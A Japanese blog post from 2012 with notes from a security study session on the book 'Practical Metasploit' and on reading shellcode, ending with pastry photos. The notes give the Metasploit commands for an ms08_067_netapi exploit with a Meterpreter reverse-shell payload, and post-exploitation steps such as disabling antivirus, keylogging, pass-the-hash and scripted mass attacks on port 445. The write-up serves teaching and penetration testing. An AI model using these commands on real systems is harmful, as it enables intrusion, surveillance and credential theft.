Hatena::ブログ(Diary)

まっちゃだいふくの日記★とれんどふりーく★ このページをアンテナに追加 RSSフィード Twitter

カレンダー
<< 2012/06 >>
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30

このBlogは個人的に収集しているセキュリティ情報や製品情報について書いています。
また、トレンドマイクロ製品+パターン+ウィルスの情報も提供しています。
Trendmicro Japanがイエローアラート以上を出した場合いろいろな情報を提供するようにしています。
Matcha's Security Blogにてセキュリティ情報(英語)も提供しています
各ウイルスバスターの不具合やBlogでの反応:クラウド(2015)クラウド(2014)クラウド(2013)201220112011続き201020092008
情報なし:20162017
日本の情報セキュリティ勉強会ポータルサイト

2012年06月30日(土曜日)

[]まっちゃ445勉強会本編のメモ

テーマ:実践Metasploitな日♪

当日のTweetまとめ By piyokangoさん

第20回まっちゃ445勉強会の別のエントリーは以下です。

成果物(一部書籍はイメージです)

f:id:ripjyr:20120702104629j:image

Session1:「すべらないMetasploit実演〜今日からあなたもMetasploiter!」

 NTTセキュアプラットフォーム研究所 川古谷裕平さん

・研究内容

 ・マルウエア解析技術

 ・ハニーポット技術を研究しています

 Metasploit歴は、2年くらい、Exploitモジュールをメインに使っている

 監訳作業で、理解した感じ

 アナライジングマルウエアが著書

 ・リバースエンジニアリング入門(@IT)を書いています。

  ・かなりマニアックw

・Metasploit(+実践Metasploit)の機能紹介

 全体像、実際のMetasploitのデモ

 Backtrack5を使ったデモ

・基本編、応用編、上級編(要Ruby)、付録

 使いこなす人(^o^)/

 監訳人手が上がらないwwwwww

・使い込んでるっていう人は少ないと思います。

・基本編を流し読みしてもらって、応用編で学んでもらえればと思います。

・基本編

 Metasploitの基本技術が1-6章で書かれている

 一通りの使い方が理解できる

  ・情報収集

  ・Exploitをどう使うか

  ・PostExploit(Exploitを行った後)

・応用編

 改造テクニックとかより使いやすいようにする手法

・上級編

 MetasploitはRubyで書かれているので、自分でツールを拡張モジュール拡張すると

 Rubyの知識が必要となる、Rubyの文法を覚えてから上級編を触るとよい

・付録A

 結構良かったところ、ターゲットのOSアプリをどうするかというのを、記載されている

 コマンドは、すべて監訳人が検証している。

 Backtrack 14703で検証済み

 リビジョンが変わると、Metasploit本の検証が動かない?(バルカン

 → 週くらいなら大丈夫だけど、古いとモジュールそのものがなくなったりする

   リビジョンが原書にはなかった(宮本

・Metasploitとその周辺ツールの関係

 データベースとかが連携して動作している

 Metasploitなのか、外部ツールの機能なのかわからなくなってくる

 Metasploitユーザから、Metsploitを見ると、インターフェースから見えてくる

  CoreライブラリモジュールExploitモジュール、Auxilaryモジュール

 ・MSFconsole

 ・MSFpayload(ユーティリティ:特定の機能のためのインターフェース

 ・MSFencode(ユーティリティ:特定の機能のためのインターフェース

 ・Armitage(GUI経由)

 ・MSFcli

・それ以外にも様々なツールが連携している

 ・Karma:無線LAN

 ・Fast-Track:攻撃の受動化

 ・SET:ソーシャルエンジニアリングツールキット

 → Metasploitを利用するツール

・Metasploitが使うツール

 ・Nessus

 ・NeXpose

 ・Nmap

 → Metasploitのプラグイン経由で使う

   ツールと連携するためにデータベースがある

   NessusやNmapの結果から、Metasploitから活用できる

  → スキャンから攻撃までシームレスに対応できる

   → BacktrackはMysqlポートしていない、Postgresしかサポートしていない

     Postgres対応の構成が必要、Postgresの権限系をしっかり確認しないと動かない

     Mysqlコンフィグがあったら動かない・・・・(ここ要注意)(宮本

 ・BacktrackはPostgresが自動起動する、DB確認で、接続状況も確認できると思う。

・Metasploitの中を詳細に。。。

 ・ディレクトリ構成

  ・/pot/framework/msf3がroot

   ・lib:コアライブラリRubyファイル

   ・modules

    ・Exploitが入っていたり

    ・Auxualryはその他のファイルが入っている

    ・Sniffer,Scannerとか入っている

   ・Post

    PostExloitが入っているモジュール

   ・Payload

    Exploitと一緒に使うShellコード、制御乗っ取った後に一番最初に動かすペイロードは何?ってやつ

   ・Script

    Metapriter:制御を乗っ取った後に、ターゲットとのセッションを張ってその上で動かせるもの

ペネトレーションテストの3つのステップ

 ・情報収集

  どういうマシンが入っているのか情報収集

  ・インテリジェンスギャザリング

  ・脆弱性スキャン

 ・Exploit(制御を奪うまで)

  まず最初に一歩。制御を奪う手法

  ・サーバサイド攻撃

  ・クライアントサイド攻撃

 ・ポストExploit

  Exploitした後に被害を広げる攻撃

  ・Meterperter

  ・cmd.exe

・デモ

 ・情報収集

  外部のツールに頼っているところがある、外部ツールの結果を利用する

  そのための連携の糊付けの仕組みとして、データベースを持っている

  NessusやNmapの結果をデータベースに保存、Metasploitがデータベースから対象情報を取得

   msfconsoleで管理画面を起動

   → そこから、nmapとかを起動

     まずdb status でデータベース接続されているか確認

     DBにnmapのデータを入れるために・・・

 ・db_nmap -sS xxx.xxx.xxx.xxx で実行

  hostsと打つと、情報が格納されているホスト一覧が出る

  servicesでポート情報が出る

  vulnsは、Nessusの結果で情報が入ってくる

 ・Nessusを利用して脆弱性スキャン

  Nessusをインストールを実施

  Scanでターゲットのレンジ等を設定してスキャンを実施する

  スキャンが完了するとレポート脆弱性があるか確認できる

  Metasploitの機能じゃなく、Nessusの機能

 ・Metasploitと連携するときは、Download Metasploitを実施して、XMLで保存する

  nessus_report_demo1_nessusというファイルができる

  db_import nessus_report_demo1.nessusでインポートができる

 ・脆弱性スキャン結果がデータベースに保存される

  OSMACアドレス等の確認ができる

  Vulnsで脆弱性情報が確認できる

  どのIPがどの脆弱性が空いているか、空いている者から自動的に攻撃ストーリーを作ることができる

・実際のExploit

 サーバサイドExloit

 ・モジュール検索

  ・search [keyword]でモジュール名を出力してくれる

   search MS11_011とか

  ・use [モジュール名]でモジュールを利用可能

   info モジュール詳細情報が出る

  ・show Exploits

   Show auxilary

   show options

   show payloads

   show targes

  ・exloitで、バックグラウンドセッションが確立する

   set unsetでオプションを設定

   ShowオプションでRequiredがYESになっている者は必須でオプション設定が必要

   PAYLOAD、RHOST/RPORTがだいたい設定必要

   LHOSTS/LPORTはペイロードによって必要

  ・exploitセッションを確立、-jでバックグラウンドセッションを確立

   -jがないと、フォアグラウンドで、セッションが有効化する

   一度に大量のマシンに攻撃したい場合は、-jでバックグラウンド化する

 use exploit/windows/smb/ms08_067_netapi

 show opstionsでオプションの有無を確認

 set RHOST xxx.xxx.xxx.xxxで攻撃先のIPを設定(RHOSTS)オプションを設定

 set PAYLOAD windows/meterpreter/reverse_tcpを設定

 show opstionsで、自分のIP(LHOSTS)を設定

  Payloadで設定項目がある

 explotで実行すれば、攻撃が実行して、Metapreterでコマンドが返ってくると成功

  コンピュータ操作できる状態

  ここまでがExploitフェーズ

・postexploit

 metapreterがPostExploitのメインのツール

 攻撃が成功すると、Metapreterのセッションが起動して、セッションが確立する

 PostExploitモジュールが色々格納されている、乗っ取ったターゲットを侵害して

 乗っ取ったマシンを起点として、次の攻撃をしていくためのツール

・Metapreterコマンド抜粋(6章)

 ・ps:プロセス一覧

 ・migrate:帰属するプロセスを変える(どのプロセスにMeterpriterを埋め込むか?)

  IE脆弱性の場合、IEを閉じればセッションが終了する、Migrateで安定したプロセスに移行できる

 ・use priv/getsystemでシステム権限を取得

 ・run killavでアンチウイルス、FireWallを無効化

 ・run checkvmでVM環境かチェック

 ・run VNCVNC接続する

・デモ

 Metapreterのデモ

 乗っ取った後に侵害されたのちに、同攻撃していくか

 社内マシンの1台から、社内ネットワークに攻撃してく

 ・sysinfoで乗っ取ったマシン情報を確認できる

  get pidでターゲットのPIDで確立しているのか?ってのを確認できる

  psコマンドで、ターゲットのプロセス一覧を確認できる

  svchost.exeなので、安定

   migrate 4088(explorer.exeのプロセスID)でプロセスを移す

   より安定したプロセスに移ることで、セッションを長く安定的に確保する

 ・use privやgetsystemでシステム権限を確認できる

 ・checkvmでVM環境か確認可能

 ・screenshotコマンドで画面を確保できる

 ・run post/windows/capture/keylog_recorderをするとキーロガーになる

 キーロガーも設定できる

 ピボッティング:外から中にパケットを中継したりできる

 Pass-the-hash攻撃ができる

 トークンの奪取をすることで、パスワードなしで侵入が可能

・手動のをリソースして自動化するデモ

 1台だけの攻撃を3台でも自動的に攻撃ができるデモ

 Scriptファイル

 → nmapをして、Port445があいているなら

 → MS08_067攻撃する

 → PostExploitですくりんショットを撮るという動き

  Metapreterのセッションから、すくりんショットを撮っていく

・Metasploit作った人も言っているけど、攻撃が自動化されて、簡単にできるってのがわかったと思う

 当たり前だけど悪用するな!

 → 一同(笑)

Session2:「できるシェルコード解析〜シェルコードを見るだけの簡単なお仕事」

 NTTセキュアプラットフォーム研究所 岩村誠さん

・原著にはないパート(付録C)を書き下ろした。

・岩村誠、NTTむあさしの研究所

 普段の仕事は、マルウエア対策の研究開発

 ハニーポット、マルウエア解析

 @ITリバースエンジニアリング入門とか

・@ITのリバースエンジニアリング入門を書いている

 話したい以上のことが書かれている、リバースエンジニアリングといい

  マルウエアを解析すると、重くて心が折れるので、Shellコードが小さいので

  それを解析できるようになろう!って感じで書いている(全7回)

 ・ツールの紹介、Shellコードを理解する上での知識

  PEフォーマットの説明とか

・付録Cのシェルコードを読み解くのお話

 Metasploitには多くのShellコードが存在

 多くはマシン語で書かれている

 何をするのかは、Descriptionに書かれてるけど

  悪さしているのか?ってのを確認するためのスキル

 ・ハニーポットシェルコードが飛び込んでくるけど、Metasploitのシェルコードならいいけど

  知らないのが出てきたら、何をするのかを確認するためのもの

  Metasploitは品質は高いシェルコード、マルウエアと違ってサイズが小さい(短編集を読むような感じ)

  読みながら、達成感を得られるものw

・第18回まっちゃ445にマルウエア祭りに参加

 → アンケートが公開されるという恐るべきシステムwwww

   前回のが・・・・orz

・題材

 ・Linuxで動くx86シェルコード

  予備知識がWindowsより少なくて済む

  バックドアなMetasiplotな本物のやつ

 ・覚えることは最小限

  ・記憶領域について3つだけ

   レジスタメモリと(ちょっと特殊なメモリ)のスタック

  ・機械語命令を10種類だけ

   mov xchg push pop inc dec mul xor int jns

  ・Linuxシステムコールを3つだけ

 ・記憶領域

  レジスタ→ 超速い記憶領域

   汎用レジスタ

    EAX,ECX,EDX,EBX

    習うより慣れろwww(バルカン)覚えるより感じろwww(との)、マシン語の音を聞けwww(岩村)

    EAX32ビット、をAXにすると16ビット、AH、ALなら8ビットアクセス可能

  メモリ

   32ビットマシンなら、4GBののっぺりした配列

  スタック

   メモリ上に用意される、後入れ先出し(LIFO)のデータ構造

   スタックのうち、データをPUSHするとつみあがっていく、x86は0番地に向かってつみあがっていく

   スタックポインタで今の一番下が書かれる

 ・機械語命令10選

  データ転送

  ・MOVパラメータ2つとって、レジスタを2つとって、代入する

  ・XCHG、レジスタの値を交換する(EAXとEBXの値の交換を行う)

   テンポラリレジスタが必要だけど、アトミックに値を入れ替えることができる

  ・PUSH/POP

   スタックに値を出したり、取り出したりする

   PUSH EAXはスタックにEAXを保存

 ・演算

  INC/DEC

   INC EAXにするとEAXの値が1増える

   DEC EAXにするとEAXの値が1減る

  ・MUL 掛け算

   MUL EBX

   EBX*EAXの結果をEDX:EAXへ代入

   32ビット通しの掛け算をすると、64ビットになって、EDXとEAXでうまくけたを増やす

  ・XOR 排他的論理和

   XOR EAX,EBX

   EAXとEBXの排他的論理和の結果をEAXへ代入

   0をねん出するために、XORを使う

 ・分岐

  C言語GOTO扱い

  JNS 条件付きのジャンプ命令

   ほかにも、JMP(ジャンプ)

   レジスタの中に、フラグレジスタがあって(サインフラグ)分岐が決まる

   SF(サインフラグ)が0の時に、Labelに飛ぶ感じ

   SF(サインフラグ)は演算結果が負になった時に1になる

  INT:ソフトウエア割り込み

   INT 0x80

    ユーザモードから、Kernelモードに移すための割り込み

    ソフトウエア割り込み(0x80)を発生させる

    Linuxシステムコールを呼び出す仕組み

 ・Linuxシステムコールの呼び方

  int 0x80でシステムコールを呼び出せる

  どのシステムコールを呼んでるのか?ってのをEAXに設定

  EAXにシステムコールIDを設定(Kernelに載っているw)

  EBX.ECX。。。に各システムコールに応じたパラメータを設定する

  これで、システムコールを呼び出す

  ・sys_socketcall

   ソケットがらみの機能を実現するシステムコール

   よくネットワークプログラムで見るSocketやBINDとかが、このシステムコールで呼び出す

   ECX以降に設定して、システムコールを呼ぶと動く

  ・sys_dup2

   Duplicateの略、ファイルディスクリプタ(開いた得たファイルディスクリプタを標準入出力につなぎ変えたいときに使う)

  ・sys_execve

   プログラム、プロセスを空間内にExeを読み込むもの

 ★これだけ!www

 ・デモ

  msfpayload -lでペイロードを確認

  シェルコードが見える(226個ある!)

  aixから、PPCとかSparcx86/windows・・・・Java等々

  ・今回は、linux/x86/shell_reverse_tcp

   乗っ取ったプロセスから、攻撃元に対してTCPセッションを張替えして、TCPセッションを標準入出力で、シェルをEXECする

   攻撃者が、netcatで待ち構えると、結果を見ることができる

  ・S(Summary)で攻撃者がどこのアドレスで待ち受けてるかっていうポートIPとかが設定・確認できる

   ペイロード設定する際には、hostアドレスをLHOST=192.168.x.xとかでファイルに出力する

  ・IDA pro Free版を使う

=====シェルコード解析デモ======

 てか、何語?!?!?!!

ほかの方のレポート

F.Koryuさんによるレポート。鬼メモだ!!!

(matcha445)まっちゃ445勉強会#20

(matcha445)まっちゃ445勉強会#20 - Garbage Script on Goo BLOG


やまがたさん久しぶりにあった気がするw

最近、当日になって初めて、「え、今日はまっちゃ445の日だったの?」と気づいたりすることが多かったのですが、今回はひさしぶりに参加受付中に気づくことができました。(原因を探ったら、まっちゃ445のMLを受け取っていたメールアカウントが容量オーバーでメール受け取れてなかったというw)

a threadless kite - 糸の切れた凧(2012-06-30)


おやつは、シェ・シーマ 市ヶ谷本店のマンゴーロール、シューラパン、プランセス各30です。(平均@400弱)

f:id:ripjyr:20120629175208j:image

f:id:ripjyr:20120630070857j:image

f:id:ripjyr:20120630093429j:image

f:id:ripjyr:20120630151513j:image

シェ・シーマ 市ヶ谷本店のマンゴーロール

f:id:ripjyr:20120630151522j:image

シェ・シーマ 市ヶ谷本店のシューラパン

f:id:ripjyr:20120630151530j:image

シェ・シーマ 市ヶ谷本店のプランセス

f:id:ripjyr:20120630151539j:image

f:id:ripjyr:20120630180141j:image

f:id:ripjyr:20120630181058j:image

f:id:ripjyr:20120701020622j:image

f:id:ripjyr:20120701020623j:image

スパム対策のためのダミーです。もし見えても何も入力しないでください
ゲスト

コメントを書くには、なぞなぞ認証に回答する必要があります。

当ページでは、掲載内容による不具合、問題に関する責任もちません、内容が正確である保障もできません。m(__)m
各自の自己責任で、情報の確認をお願いします

毎日のトップに掲載されている今日の記念日は、MIEさんのページから頂いております。ありがとうございます。